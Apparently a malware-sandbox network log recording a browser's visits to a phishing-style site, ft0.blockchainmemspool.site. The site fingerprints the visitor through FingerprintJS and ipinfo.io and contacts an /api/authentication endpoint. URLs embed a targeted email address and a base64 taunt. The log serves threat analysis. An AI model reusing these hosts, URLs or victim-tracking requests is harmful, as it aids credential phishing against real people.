Source: global traffic	HTTP traffic detected: GET /assets/index-DMPAUMCk.js HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js HTTP/1.1Host: fpnpmcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json?token=51dda6bce069cf HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nKTtlEkgfnco6RE&MD=9AH7rm3u HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /pdfbannerred.png HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beegee.jpg HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /norton.png HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy HTTP/1.1Host: api.fpjs.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://ft0.blockchainmemspool.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js HTTP/1.1Host: fpnpmcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy HTTP/1.1Host: api.fpjs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?ci=js/3.11.3&q=PpV6WKGGlibbhVc8aHxy&ii=fingerprintjs-pro-react/2.6.3/react/18.3.1&ii=fingerprintjs-pro-spa/1.3.2 HTTP/1.1Host: api.fpjs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _iidt=/gBzuR9b386WFI1Z0hi1x6FoFKL38DtwWbT4r2aR8ZG2m1jn/EOHB2T58AMjIHlRyJOcfg8/M4M8tQ==
Source: global traffic	HTTP traffic detected: GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/authentication HTTP/1.1Host: icarus.eandjheatingandairs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/authentication HTTP/1.1Host: icarus.eandjheatingandairs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nKTtlEkgfnco6RE&MD=9AH7rm3u HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/authentication HTTP/1.1Host: icarus.eandjheatingandairs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /specId/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: server.citierupticx.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: server.citierupticx.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ft0.blockchainmemspool.site
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: fpnpmcdn.net
Source: global traffic	DNS traffic detected: DNS query: api.fpjs.io
Source: global traffic	DNS traffic detected: DNS query: use1-turn.fpjs.io
Source: global traffic	DNS traffic detected: DNS query: icarus.eandjheatingandairs.com
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com

Source: unknown

HTTP traffic detected: POST /?ci=js/3.11.3&q=PpV6WKGGlibbhVc8aHxy&ii=fingerprintjs-pro-react/2.6.3/react/18.3.1&ii=fingerprintjs-pro-spa/1.3.2 HTTP/1.1Host: api.fpjs.ioConnection: keep-aliveContent-Length: 3304sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plainAccept: */*Origin: https://ft0.blockchainmemspool.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_58.2.dr, chromecache_65.2.dr	String found in binary or memory: https://fingerprint.com)
Source: chromecache_52.2.dr, chromecache_57.2.dr	String found in binary or memory: https://google.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
